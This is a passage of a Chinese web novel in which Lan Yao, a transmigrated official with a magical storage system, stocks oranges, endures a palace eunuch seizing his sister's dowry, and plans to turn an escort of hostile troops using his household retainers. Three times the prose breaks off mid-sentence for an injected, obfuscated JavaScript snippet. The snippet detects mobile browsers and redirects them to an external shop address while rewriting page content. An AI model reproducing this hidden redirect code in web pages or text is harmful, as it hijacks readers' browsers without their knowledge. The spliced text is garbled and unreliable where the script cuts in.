好在恢复记忆前,兰遥就敏锐地意识到了这个问题,在上奏陈述弊端无果后,他暗中让家里把钱财尽量换成粮食与绢布,现在兰府库中的五铢钱已经不剩多少了。 在如今的兴朝,一斛米值一千三百钱,约等于一匹绢的价格,而一匹绢可以换三匹布。 这只是一个理想状态,实际上,现在想用五铢钱换米和绢布已经越来越难,不过米和布料之间的兑换比例还是稳定的。 “把所有蜜橘都送去我院中,我新学了一门仙法,可将蜜橘十中取一凝聚精华,只有这样的蜜橘才可送给阿晚。” 家仆满脸敬仰,惊叹道,“小郎君已经学了仙法了?难怪外头都说小郎君有仙缘!” 兰遥微笑不语,颇有几分仙风道骨。 前两日他把系统抽奖得到的灰色二星物品五粮液编了个故事,献给正立帝后,正立帝连一天都没藏,当日就在宫中设宴,炫耀自己有一位有仙缘的忠心臣子,给自己进献了神仙酒。 能被正立帝宣去赴宴的,都是识趣的“妙人”,不但把正立帝奉承得飘飘欲仙,还出了宫就四处宣扬“神仙酒”的绝妙滋味,托这个福,兰遥的“仙缘”也小小出名了一把,同时在谢稹那边拉到了新一波仇恨值。 要不是兰遥这两日装头疾不出门,恐怕一露面就会被各怀心思的人团团围住了。 这样也好,省得兰遥还要给这么多蜜橘的去向找借口。 自从开始使用玄学借口,兰遥越来越觉得,这玩意儿在古代真好用,尤其是他这种“博取众家所长”的现代宗教学学子,轻松就能成体系地输出有利于自己的玄学内容。 回到自己院中,兰遥让伺候的仆役们退下,开始往空间里装方才送来的蜜橘。 他已经提前测试过了,系统空间独立在这个世界之外,外界的时间流逝、温度变化对它不起作用。 晚上装一碗热气腾腾的汤饼进去,第二天拿出来,汤饼依旧冒着热气。 这也就意味着,兰遥可以把如此多的涌泉蜜橘毫无损耗、锁鲜锁味地带到西北去! 橘生淮南则为橘,橘生淮北则为枳,在这个时代,北方很多地方都无法种植橘子。兰遥听人说过,曾经有位商贾贪图口腹之欲,去北方贩卖货物时,用碎冰、稻草、竹筐装了一些涌泉蜜橘,每枚橘子都用单独的草袋子裹着,每日更换保鲜用的碎冰,等一个月后到达北地,剩下的十斤橘子里没有坏的只有不到五斤。 这五斤橘子引来了北地商贾和高门大户的争抢,最后,他竟凭此换到了两匹北地的战马! 橘子在北地价比黄金,但能做这门生意的人很少。 首先,橘子在产地就很珍贵稀少,想大批进货,钱和地位缺一不可;其次,橘子保鲜、运输困难,很可能没运到地方就全坏了;此外,如今天下乱象四起,各州流民匪寇聚集,这种昂贵又娇气的货物万一被抢,更是哭都没处哭去。 商贾虽重利,但也有理智,没几个人愿意冒血本无归、倾家荡产的风险,所以橘子在北地的价一年赛一年高。 不过这些困难对兰遥来说都不是问题,有空间的存在,他不费任何功夫就可以把橘子完好带到北地,换取其他珍稀资源,在建康时是什么样,拿出去卖时就还是什么样! 兰遥把涌泉蜜橘全部装入空间中,一立方米共装了一千斤出头的橘子,余下一百来斤则充做他用仙法“凝聚精华”过的橘子。 想到这一千斤橘子能换到什么东西,兰遥就心情愉悦,战马、良种、农具、木料、铁器……这就是他在凉州施展拳脚的启动资金! …… 装好蜜橘后,兰遥到书房完成了今天的“每日任务”,再次额外获得一积分,他本想去看看“嫁妆”收拾的怎么样了,突然听到通传,说宫中来人了。 兰遥来到主院,就见一位头戴笼冠,面白无须的内侍坐在上首榻上,脸上一副假惺惺的笑,荀愿君则坐在他另一侧,表情淡淡的,一副贵女做派。 至于父亲兰博蕴,并未出现在这里,正如他之前所言的那样不再管这些事。 兰遥脱下鞋子,雪白的袜袋踩在光洁的地板上,颔首行礼,“阿母,我来了,这位是?” 那内侍看到兰遥,也不起来,只是坐在榻上微微欠身,“兰度支郎,咱家是皇后宫中的常侍徐榕,皇后殿下思及兰家女郎将嫁给西北王,明日送嫁队伍就要出发了,担忧时间紧张,筹备不妥,特命咱来帮衬一二。” “到时候咱家还会亲自送女郎去凉州,兰家尽可放心。” 徐榕,兰遥视线微微下垂,掩住一闪而过的冰冷。 这个人在原著中只是个小人物,一般在谢皇后有戏份时和她一起出现,充当传话工具和做坏事的黑手套。但兰遥在回忆剧情时,单独把他列出来,认认真真审视过一遍。 因为原著中,谢皇后也派了他去送嫁兰晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159604|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然书中并未明说,但结合现实中兰家与谢氏的关系,以及徐榕干过的其他“好事”,兰遥有理由怀疑,妹妹的“病逝”与他以及他背后的人有关。 兰遥这样想着,脸上渐渐带上笑意,“多谢皇后殿下体恤,那就麻烦徐常侍了。” 徐榕呵呵道,“不麻烦,不麻烦,兰度支郎带我去见见女郎,再看一看嫁妆如何?” 荀愿君冷声道,“怎么,我给女儿准备嫁妆,还得徐常侍审查一遍吗?” “夫人这是哪里的话?”徐榕眯起一双小眼睛,唇角上翘,“这可是皇后殿下的一番好意,咱家是奉命行事。女郎嫁给宗亲王,嫁妆怎可马虎,若里面有什么不该装的东西……咱家也好提前挑出来啊。” 果然如此,兰遥心里淡淡地想。他就知道,谢家不会轻易放过这件事,谢皇后出手,正立帝也指望不上,还好他对此早有准备,真正有用的东西,没有放进嫁妆中。 兰遥抬手扶额,修眉轻蹙,身体摇晃了几下,徐榕见状假惺惺地说,“差点忘了度支郎头疾未愈,咱们快些把事办完,咱家回宫复命,度支郎也早些歇息。” 荀愿君冷哼一声,直接起身离开了坐榻,去了屏风后面,徐榕知道颍川荀氏的威望,虽然心里生出一股怨毒,但也不敢当场发作,只是再次催促道,“兰度支郎,我可是要亲自送女郎去凉州的,您应该不想这一路上出什么事吧?” 听到这句毫不掩饰的威胁,兰遥目光微沉,轻轻一笑,“不只是我,我想徐常侍也该希望这一路上不要出什么事。” 徐榕狭小的眼睛向下一皱,总觉得这句话哪里不对劲,兰遥却已经转身吩咐,“嫁妆都在女郎院中,捉刀,你先去告诉女郎一声,我带徐常侍过去。” 徐榕与兰遥并排走在长长的连廊上,状似无意地问道,“听说度支郎学了仙法,用上千斤涌泉蜜橘取其精华,为女郎炼了神仙橘?” 兰遥掩唇轻咳了几声,“是啊,我的头疾就是因此加重的,怕是没有几年时间好不了了。” 想索要神仙橘讨好皇后与谢大将军的徐榕撇了下嘴,不知道兰遥是真的头疾加重,还是察觉出他的目的假装的。 想到兰遥的“仙缘”,徐榕犹豫了一下,没敢进一步胁迫,万一兰遥使个仙法报复他,皇后娘娘也没法救啊! 两人来到兰晚院子,所有嫁妆都打开箱子摆在院中,兰晚披着一身内衬锦缎的雪白狐裘,被傅婢搀扶着,静静站在连廊下。 徐榕盯着她的脸仔细瞧,心说这可真是个美人,可惜啊可惜,当初不愿嫁到谢府上,被谢小郎君记了仇,那就只有芳魂归天一条路了。 “女郎与度支郎长得真像,都是一等一的好容貌啊。”徐榕笑眯眯地说,心想倒是好认,不怕兰家塞个不相干的女子替嫁。 站在兰晚身边的常安眉毛一竖,上前半步呵斥道,“宫中的常侍怎么如此不懂规矩,见到宗室王妃居然不知行礼,岂不给皇后殿下蒙羞?” 8. 部曲 听到常安的呵斥,徐榕心头一跳,这才意识到自己有些过于得意了,在出发之前,他最好还是装一装,等离开豫州,整个送嫁队伍就是他徐常侍了。 这个说话的傅婢,看年纪和气度,怕是兰家主母从荀氏带来的,不好对付,路上得着重关照一下…… 徐榕瞬间变了脸色,满脸讨喜,拍了下脑袋,“哎呦,我急着帮女郎检验嫁妆,居然忘了礼数,该骂该骂。” 他笑眯眯地上前几步,弯下腰去,眼睛却一直看着兰晚,“咱家给王妃殿下行礼了。” 兰晚感到一种如同在黑暗中被蝙蝠盯上的滑腻的不适感,常安悄悄握住她袖中的手,兰晚定下了神,抬起下巴道,“嫁妆都在院中,徐常侍查验吧,我先回屋了。” 徐榕保持着如同陶偶般的笑容,目送兰晚的背影消失在毡帘后,这才一箱一箱看起兰家准备的嫁妆。 “陛下已经赐下了布匹,怎么还另准备如此多的布匹?”徐榕看着装满十二箱的布料摇头,“兰度支郎,您这样可让咱家有些难办呀,难不成去回话说兰家觉得——陛下御赐的不够多吗?” 兰遥早就知道徐榕是来找茬的,心想皇帝确实是抠门,但嘴上却不能这么说。 他假装懊恼,“我们都没想到这里,还是徐常侍有见识,那依徐常侍之见,这些该怎么办呢?” 徐榕叹了口气,“咱家奉皇后殿下之命来帮忙,自然要尽心尽力。” “兰家也是疼惜自家女郎,咱当然明白,我看东西既然准备了也不用去掉,这十二箱布料还有二百斛粮食,不如封箱交给我,由我暗中安排进送嫁队伍中,这样既带上了东西,又不怕有人说兰家不体恤圣心啊。” 兰遥手执户扇站立在院中,鹤氅随风轻扬,看了一会儿徐榕,那目光仿佛不在看活物,让徐榕起了一身鸡皮疙瘩。 “那就麻烦徐常侍了。” 一番检验下来,徐榕从八十八抬嫁妆中抽走了二十箱帮忙护送,其中绢六箱,纱四箱,精织麻布两箱,另外还有二百斛粮食与一箱玉石器具,余下箱子也各个用内庭封条封箱,不许再打开更换。 “咱家也是怕有小人作祟,耽搁了女郎的大事啊。”想到这些东西有多少能落入自己手中,徐榕笑得春风拂面。 兰遥没有看他,“有徐常侍在,哪里还有小人呢?” 徐榕假装没听出来兰遥话里的不悦,最后问道,“听说荀夫人当年的嫁妆中有一支三百人的部曲,女郎出嫁夫人可有安排?” 兰遥淡淡道,“凉州路远多寇,阿母已分了五十部曲保护阿妹去凉州,徐常侍不必担忧。” 徐榕彻底放心,眯眼笑道,“放心,放心,谢大将军也给了五百人马护送送嫁队伍,其中还有二百龙虎军的精锐,必定让女郎平平安安的。” 兰遥看着徐榕,也露出一丝清浅的笑意,“如此甚好。” …… 徐榕带着二十只能装入成人的大箱子大摇大摆离开了兰府,他离开后,众人退去,兰晚气愤地说,“这阉贼好生嚣张!” 常安扶着她,无奈道,“女郎,言辞要清雅。” 兰晚像只被点燃的小爆竹,“十多箱布料,二百斛米,还有一箱玉器,他绝对会偷偷替换掉!” 就算布料是特意作假过的,只有最外面几圈是绢纱,里面全是破布,横截面简单染了色,粮食是相对便宜的粟,玉器也是次品,那也值不少钱! 兰遥按住激动到满脸通红的妹妹,温声安慰,“没关系,他今日吃下去的,来日一定会加倍吐出来。” 兰晚捂着心口吸了几口气,冷静了一些,担忧道,“阿兄,我听到他说,谢大将军会派五百兵卒送嫁,万一他们路上对你不利可怎么办?” 虽然兰家的陪嫁中有部曲,但部曲人数少,兵甲也比不上谢大将军手下的兵卒,正面打起来一定处于劣势。 兰遥拢了拢鹤氅,“他们如此,正合我意。” “阿兄?” “五百人马的兵器与甲胄,谢大将军送我这么大一份礼,我不全部吞下,岂不辜负了他的心意?” 兰遥目光悠悠看向冬日苍蓝色的天空,这将是他恢复现代记忆后设的第一个杀局,是他直面血腥的契机,也将是他踏入天下争霸的开端。 一只寒鹤抖擞羽翼冲天而起,起风了。 …… 送走不速之客后,兰遥立即为徐榕带来的变数做准备,没想到谢禛派了足足五百兵卒送嫁,他之前的一部分计划需要调整了。 当日午后,兰遥以替母亲为妹妹挑选陪嫁部曲为由,乘牛车半个多时辰,来到了城外的田庄。 这个时代大户人家的田庄并不像现代的大农场,也不是自然的村庄,更接近于贵族自留地的感觉。 很多田庄会修筑坞堡,高筑墙,内积粮,再养部曲守护,俨然一座军事堡垒,一旦发生兵乱或流寇来袭,就携家眷躲入坞堡中,安安全全度过灾祸。 兰家出自天水兰氏,虽也是世家,但久离权力中心,早已没落,田庄所占的地以及部曲、佃户大多来自荀愿君的嫁妆。 因为距离建康城不远,怕有心之人捉辫子,这座田庄并未修建坞堡,不过黄稚也尽己所能进行了规划。 田庄所占的地界中有一条河穿过,正好打了个弯,黄稚就让人在弯道内侧修筑民居,一圈圈围起来,最外面的房屋修结实的高墙,粮仓在靠河的内侧,万一发生火灾方便取水。 此外整片民居的最中央,还有一个用篱笆和稻草围起来的演练场,平日黄稚就在这里训练部曲。 这样细心遮掩,加上部曲都是荀氏挑选过的忠厚之人,荀愿君这些年对佃户们也宽和,田庄内的消息从来没传出去过。 因此,外头的人虽然知道荀愿君有部曲,但无一人知道这些部曲平日是如何操练的,更不知道他们战斗力如何。 恢复记忆前的兰遥没有特别关注过家里的部曲,这还是他第一次在田庄观看他们操练。 黄稚请兰遥下车,引兰遥前往演练场,摸着脑袋说,“田庄上的东西粗鄙,小郎君莫见怪。” 兰遥一边走一边打量四周,这里生活着七百余佃户,除了最外围,房屋都是用木头撑起骨架,再用竹竿与稻草连成墙,有的房屋带个篱笆小院,有的房屋是好几间连在一起,虽然简陋,但没有坍塌或破洞的情况。 他们走的小路上积雪被清扫的干干净净,中间还铺了三寸多宽的碎石子,这样万一大雨泥泞,路上全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159605|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淤泥,好歹有个落脚的地方走路。 兰遥心道,这座田庄的情况怕是强过了兴朝九成的田庄,黄稚不愧是在原书中能统御上万流民、占据数郡的流民帅,他在这方面真的有一手! 这会儿正是午后,佃户中的青壮大多编入了部曲,在演练场待命,一路上许多老弱妇孺站在屋前屋后,笨拙地向兰遥行礼问候,然后好奇地悄悄盯着他瞧。 一个头发还没留长,头顶扎个小揪的小姑娘躲在阿母腿后,黑溜溜的大眼睛眨都不眨地看着兰遥,兰遥正好看过去,冲她和煦一笑,小姑娘就脆生生道,“阿母,贵人郎君可真好看呀!” “阿絮!”小姑娘的阿母赶紧拍她。 兰遥示意无妨,走过去微微弯腰,“阿絮也好看。” 小姑娘笑得开心,这一笑,原本有些停滞的风一下子就吹了起来,所有人的神情都放松了几分。 阿絮的母亲三十左右的模样,肤色比周围人白不少,神情也镇定许多,“小郎君,您是要挑选部曲和他们的家眷随女郎去凉州,对吗?” 兰遥颔首,看着小路两边的人们,用通俗一些的话说道,“如今的世道,我不敢保证你们一定不会出事,但我绝不会让任何随女郎去凉州的人轻易死去,会带你们去凉州的土地上继续耕种生活,你们可有什么想问的?” 站得近些的人互相看了几眼,一位头发半白的老妇人道,“小郎君,主家花钱粮养了我们许多年,合该这里所有人的命都是主家的,我们已经平白享了这么多福,不会不知好歹。” “若您真的像您说的那样对待去凉州的人,那您就是天上大慈大悲的神仙,我们更不会惜命。” 老妇人的年纪在五十岁上下,在这个混乱的时代,这已经是底层百姓中罕见的高寿,她说完后,其他人都纷纷点头,看神情各个都是这么想的。 兰遥沉默了片刻,他自幼聪颖过人,这个时代是什么样的,他原以为自己早就看透了,后来觉醒记忆,有原书剧情视角,更觉得自己对世界了如指掌。 但现在,他突然清晰地意识到,很少离开都城建康,很少真正直面乱世的他目前对这个时代的了解还远不够深入。 十室九空、易子相食、千里无鸡鸣的惨状,只是“听说”和“知道”,根本不能真正理解。 就像老妇人完全出乎他预料的回答。 他以为他们会在乎未来的情况,但所有人都发自内心地觉得,自己没有像逃难路上亲眼见过的那样被一斗粗粮换掉性命,没有成为大釜里的骨头,没有遭受凌虐横尸荒野,甚至安安稳稳养育了后代,有尊严地活了许多年,自己的命早就“卖”出了最高的价格,现在去死也很满足了。 “你们放心,我说到做到。”最终,兰遥只能暂且这样说。 阿絮的母亲突然问,“小郎君,是只有部曲的家眷才能去凉州吗?” “此言何意?” 一旁的黄稚见状过来介绍,“小郎君,她是几年前抱着孩子来田庄的流民,我见她母女可怜,又会写字和筹算,就把人留下了,平日除了耕田,还会帮忙记佃户们交的粮和布,大家都叫她海娘子。” 阿絮的母亲挺直腰背,看着兰遥,“小郎君,我叫海静容。” 9. 两员大将 海……兰遥看着海静容,从对方的语气和口音中领悟到什么,“是平原海氏?” 要说这个家族,多少有些倒霉在身上。 海氏是从前朝传承下来的世家,族地平原在渤海湾一带,很是富庶,每代都有几位族人入朝为官,称不上权倾朝野,但也有几分体量。 先帝时期,海氏家主的嫡长子被派去匈奴,作为使臣送达兴朝国书,然而这位受祖宗荫蔽年纪轻轻就成为五品祠部郎中的海氏子,居然抛下家族与妻子儿女,靠出卖兴朝边关布防情报,做了匈奴王的女婿。 兴朝因此遭受重创,边境五郡被劫掠一空,为后来匈奴攻入长安埋下了隐患。 先帝因此震怒,海氏一族所有官员被贬官回乡,海氏家主被治罪,从家主之位上退了下来,世交们此后都远远避开了他们,就连出嫁的海氏女,也被送回去了许多。 两年之后,匈奴攻破长安,异族肆虐,天下大乱。 北方世家为了自保纷纷举族南下,海氏也想南下,但他们因为前家主的事陷入了内斗,又没有南下的大部队愿意捎带,路上被匪寇袭击了几次,最终连同携带的大量财富一起彻底失去了消息。 兰遥怀疑,冲海氏下手的不只是匪寇,恐怕还有某些世家。在乱世,这种没有依靠又家底殷实的世家是现成的肥羊。 海氏已经在南兴销声匿迹很多年了,兰遥没想到,居然会在这里见到海氏女,看她的处境,海氏大约真的没人了。 海静容的表情不见一丝悲伤,仿佛那是别人家的事,“早就没有平原海氏了,我就是我。” “小郎君看我的眼界和本事,能否让我与阿絮也去凉州,服侍女郎,为女郎做事?” 前几日黄稚从主家带消息回来,田庄上其他人只以为是主家的女郎要远嫁,他们被作为嫁妆分给了女郎,要随女郎离开田庄。什么赐婚,什么宗室王,什么政治斗争,对这些底层佃户而言太遥远了。 但海静容到底不同,幼时受到的教育让她看得清楚,兰家女郎被赐婚给凉州西北王,说明兰家被皇帝厌恶,摊上大麻烦了。 来自荀氏的主母很有远见,怕是很快就会回颍川母家避难,就算这次不随女郎去凉州,她们也在这个田庄待不了多久了。 而一旦离开田庄,在混乱中不幸成为流民的一员……海静容不想去回忆那些血腥的、残忍的、屈辱的遭遇。 她还有阿絮,她不想死,与其作为一个孤苦无依的底层佃户听天由命,不如拼一把,看看能不能借这个机会在主家女郎身边谋个位置。 海氏早就否认了她,她身上流着无耻之徒的血,不再是世家女,但她学过的知识,她掌握的本事做不了假,遇到“明主”,就可以成为她的价值。 海静容没有想错,兰遥确实缺这样一个手下。 他到凉州后,明面上依旧得维持西北王妃的身份,调用部曲与嫁妆,也要披上“女郎”的马甲,黄稚和黄玄虽然靠谱,但毕竟是男子,让他们训练部曲可以,但让他们跟在“女郎”身边做事,管理流民中的妇孺就不行了。 因此,他需要一位识字、有见识、值得信任的女性手下替他来做这些。 兰遥原本属意常安,常安是荀愿君从荀氏带来的傅婢,识文断字,有管理经验,称得上一位人才。 但用常安也有别的问题,一是为了遮掩西北王妃的身份,常安最好一直跟在“王妃”身边,不方便外出;二是常安成长于世家内宅,对流民和部曲不熟悉,一些事不一定能办好。 现在海静容主动站出来,完美契合了兰遥的需求。 她带着小女儿,又主动表明了出身,就是在表示,她愿意把软肋和把柄交出来,获得主家的信任。 如果不是这几年在田庄上的安稳生活让她相信兰家的底线,她也不会这么快做决定。 兰遥抬手摸了摸阿絮毛茸茸的脑袋,轻轻颔首,“当然可以,那就先让阿絮跟着送嫁队伍,我想请海娘子与稚叔一起帮我做另一件事。” 海静容心里松了口气,她有猜测兰家在送嫁上有什么后手,现在兰家郎君这么说,证明她上船了。 海静容牵着阿絮,跟在了兰遥和黄稚身后。 阿絮懵懂地抬头看着阿母和好看郎君,虽然不完全理解发生了什么,但大概听懂是要带她去好看郎君家里,脚步轻了一些。 在小路上继续走了一小会儿,几人来到了最中央的演武场。 田庄上三百一十六名部曲已经尽数集合在此,行列整齐,面容肃穆。 兰遥有些惊讶,他之前见过这个时代的朝廷军队,除了谢大将军手下的精兵,其余能站成一个方正点的队列都不容易,老的少的参差不齐,尤其是由收拢的流民组成的军队,更是和羊群没什么区别。 相比下来,黄稚手下的部曲居然更像样子。 “小郎君,这些部曲中最小的十六岁,最大的四十七岁,其中二十岁以下七十三人,二十到三十岁六十八人,三十到四十岁一百三十二人,四十岁以上四十三人。” 演练场中的部曲按年龄列队,随着黄稚的介绍,兰遥一一看过去,这些部曲不算特别健壮,但也没有面黄肌瘦,有的人看向他的眼神中带着好奇,有的平静如灰,有的则有几分惧怕。 “主母陪嫁中有兵甲二百副,这些年我一直让人精心保养,定期修补,如今正好派上用场。” 养部曲的基础套装是人和粮,如果想进阶到更有战斗力,就需要有兵器与盔甲了。 别以为所有部曲都有兵器,这个时代铁器可是稀有的管控资源,就连朝廷的军队,在南渡之后,也做不到人人手中有一把刀或一杆矛。 分不到正经武器的士兵只能拿着棍子或者削尖的木刺进入战场,至于他们的命,那是最不值钱的东西。 而盔甲就更难得了。 那种可以覆盖全身的铁甲,至少是校尉级别才能分到一副,底层小军官则穿遮住前后心、腹部、大臂与大腿的铁甲,如果实在用不起铁甲片,就用坚韧的藤条编成甲片代替铁甲片,这种甲被称为藤甲。 谢大将军麾下有八千精兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159606|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每人都配备了藤甲与长矛、腰刀,靠这一支忠诚的亲兵,他在南兴无人可敌。 荀氏为荀愿君准备的陪嫁的甲胄也是藤甲,整整二百副,最关键的前后心用了铁甲片,除此之外还有二百杆长矛与一百把腰刀,腰刀用的铁比矛多,要比矛更贵。 分配一下,再稍凑一点,这三百出头的部曲人人都有兵器,考校后被黄稚认可的精兵可以穿藤甲,甚至可以骑马作战。 荀氏确实是大手笔,一般世家,可拿不出这样的嫁妆给自家女郎。而现在,这些里的一部分成了阿母给自己准备的“嫁妆”—— 兰遥把这个有些奇怪的念头抛出脑海,问了个关键问题,“稚叔,这些部曲与谢禛麾下的龙虎军比如何?” 龙虎军,这个僭越的名号是谢禛为自己的八千精兵取的。 黄稚在这方面的见识比兰遥强多了,沉吟片刻道,“龙虎军放在过去北边时,也是精锐中的精锐,若有知兵之人指挥,一百便足矣击溃我们。” 果然差距还是太大了,在这个乱世,没有足够的兵力,只能当别人的粮仓,这也是兰遥坚定投靠霍元骞的原因之一。 黄稚忖度着兰遥的意思,“小郎君怎么突然提到龙虎军?” 兰遥道,“谢禛派了五百兵卒护送女郎去凉州,其中有二百龙虎军。” 黄稚一双粗眉一下子皱紧了,往好了想,有这么多兵卒护送,送嫁队伍绝不会怕路上的流寇,但谢禛有这么好心吗? 黄稚性子直,粗声骂道,“我看他们是想半路下手!” 兰遥颔首,除此之外,兰遥怀疑谢禛此次派人去西北还有其他目的,不然不至于动用二百龙虎军。 黄稚五官皱在一起,为难地推演了半天,终于想到个办法,“小郎君,我到时候趁半夜率人偷袭,把女郎护出来如何?只要我尚有一口气,就不会让女郎有闪失。” 这个“女郎”指谁,两人心照不宣。 兰遥轻笑摇头,“稚叔的心意我深受感动,不过还不至此,我有一计可解此局。” …… 看过部曲,兰遥对自己手中的第一支人马的战斗力有了认知,比不上最精锐的军队,与朝廷养得好的军队不相上下,对上同等数量的流民和匪寇可形成降维打击。 比他预估的已经好多了。 让部曲们暂且回去,兰遥与黄稚去了他在田庄上的住处,海静容把阿絮托给相熟的阿嫂,也跟了过来。 “稚叔,这三百一十六名部曲我带走二百,其余留给阿母与阿妹,再分出十匹马与五十副藤甲,多派几位能领头的,务必将她们平安护送到颍川。” “小郎君放心,我一定给主母与女郎安排妥当。” 海静容听到他们的交谈,瞳孔微微一凝,兰遥没有解释,继续说下去。 “我的这二百人,依旧按原本的计划选五十人进送嫁队伍,其余部曲与家眷由你带着先行一步,但不要着急与我汇合。” “我想让你们扮成流民军,沿途收拢流民,壮大队伍,静候时机。” 10. 出嫁 “扮成流民军收拢流民?”黄稚吃惊,他完全没想过还能这么干。 朝廷南渡后,虽说名义上还统治着长江以南及部分江北的广袤国土,但出了离建康近的豫州、扬州与徐州,其他地方实际上已经半脱离了南兴的统治,这要怪朝廷实力孱弱,也要怪正立帝一口气封了那么多宗室王。 外面的州郡有多乱,黄稚听少数逃难到田庄的流民们提起过,据说有些流民已经聚集成军,少则三五百人,多则上千,或占据一地,或四处烧杀劫掠,胆子大的甚至敢劫官粮,发号施令的人被称为流民帅。 假扮成流民军收拢流民……黄稚先是觉得不可思议,细想后却越来越觉得可行。 就在这时,进屋后默不作声的海静容突然开口了,“小郎君,流民生死在朝夕之间,只在乎一口饱饭,你要收拢流民,路上可能带那么多粮食?” 不用任何人解释,她已经明白了兰遥要做的“替嫁”之事,并迅速进入状态,开始加入讨论。 兰遥对海静容的反应感到满意,温声笑道,“我们带三百斛粮。” 海静容道,“小郎君想收拢足以对抗二百抗龙虎军的流民,三百斛粮不够,流民不傻,看到队伍中带的粮少,不会跟着卖命的。” 三百斛粮可以让六百名成年男子吃饱一个月,若是妇孺老人,还能吃得更久一些,兰遥只打算带部曲及其家眷的话,这些粮食绰绰有余,但想收拢流民,可就不够了。 黄稚则从安全角度考虑,“一架大车能拉一百斛粮,三架大车我可以守住,再多的话遇上贼寇袭击我怕顾不上。” 讨论似乎僵持住了,但兰遥早有准备。 “稚叔可还记得,我曾说过,我会可以让粮食一口抵两口的仙法?” 黄稚眼睛猛地一亮,“正是!我居然忘了这个!” 这个时代,从皇室到士大夫到底层人民都信世上有神仙存在,兰遥又是个盛名在外的名士,他说完后,海静容也立即就信了,“小郎君居然有如此仙缘,真是太好了。” 装神弄鬼事业进展顺利。 兰遥手执刀扇,容姿清雅,双眸含笑道,“此仙术耗精费神,我目前只得了十斛仙粮,可抵寻常粮食二十斛,其余粮食,要等我们汇合后再施仙术。” 那十斛“仙粮”,是兰遥加了星际基础营养液后得到的。 兰遥考虑过,直接喝营养液果腹对兴朝人来说还是太超前了,把营养液加入粮食中,包装成以一抵二的“仙粮”更容易被人接受。 兰遥手里目前有二十支基础营养液,每支可为成人提供一个月的能量,相当于十斛粮,按一比一的比例与十斛粮食混合,就成了一口抵两口的仙粮。 兰遥已经在府里暗中做过实验,确认这种方法可行,加了营养液的粮食外形没有发生明显变化,但饱腹感明显增强,并且不会因为少吃出现饥饿和乏力的情况。 “只有十斛……”黄稚一时没转过弯来。 兰遥解释,“只消让流民们吃一顿仙粮,相信跟着你们能一直吃饱肚子,其余问题,待我们汇合自会迎刃而解。” 按兰遥的计划,送嫁队伍会在十日左右走到荆州一带,那里已经脱离了朝廷的实际掌控范围,谢禛的人会在那里下手,兰遥也打算在那里反将一军。 拿下整个送嫁队伍后,流民军的粮草可以得到补充,再向西北走,兰遥还带了一立方米珍贵的涌泉蜜橘,不愁换不到粮食。 也就是说,黄稚他们只需要带十日左右的粮食,三百斛绝对够了。 黄稚和海静容被兰遥说服了,接下来,兰遥又嘱咐了一些细节问题,确保自己的计划能顺利进行。 这两个人,一个在书中成了雄踞一方流民帅,一个聪慧有见识又了解流民,兰遥相信这套组合可以圆满完成任务。 “我们收拢流民,不止要青壮男子,老幼妇孺一概可以加入,这些稚叔不方便做,要麻烦海娘子费心了。” 海静容先应了声是,过了几秒后没忍住发问的冲动,“小郎君要这些无用之人做什么?” 兰遥含笑摇头,“有用与无用由谁来评判?妇人能织布耕田,孩童能长大成人,老者有历世经验。我不是给不了他们活路,为什么要放弃他们?” 海静容屏息凝视着兰遥,内心深处被他坦荡如辰光的目光刺痛,“是我误了……小郎君有好生之德,令人叹服。” 那些作为流民逃难的日子一直深深扎在她的梦中,让她忍不住去想,若是当时、若是当时有幸遇到兰家郎君,谋一份活路…… ——那就以后为更多流民谋活路,赎清自己身上的罪孽。 “阿絮就交给小郎君了,我一定竭力完成郎君所托!” …… 定下方向后,田庄上的佃户、部曲与物资如何分配,如何悄声上路,都由黄稚与海静容配合完成。 收到黄稚送来的暗信,得知一百五十部曲与他们的家眷已经趁着夜色先一步出发时,兰遥正在算系统积分。 加上每日任务,现在他每天能获得六积分,送嫁队伍出发第四天,他就可以凑够让系统升级的五十积分。 不知道系统升级后会解锁哪些功能,兰遥看着系统面板上目前还是灰色的“商店”“领地”“成就”等图标,十分期待那一天的到来。 如果可以获得一些有用的东西,那他路上对付徐榕就更轻松了。 “小郎君,主母请您过去一趟。”荀愿君身边的傅婢常乐打断了兰遥的思绪。 兰遥来到主院,父亲兰博蕴依旧对他避而不见,室内烧了清淡的香,荀愿君坐在窗边的坐榻上,午后的阳光在她身上投下一格又一格的阴影,母子二人相顾无言,一时间谁都没有先开口。 “阿遥,再有两年,才是你的及冠之年,阿母那时可还能再见到你?” 田庄上的消息,荀愿君也收到了,黄稚按兰遥的意思,分出了一百一十六名部曲与十匹良马,护送荀愿君与兰晚去颍川。 分别已近在眼前。 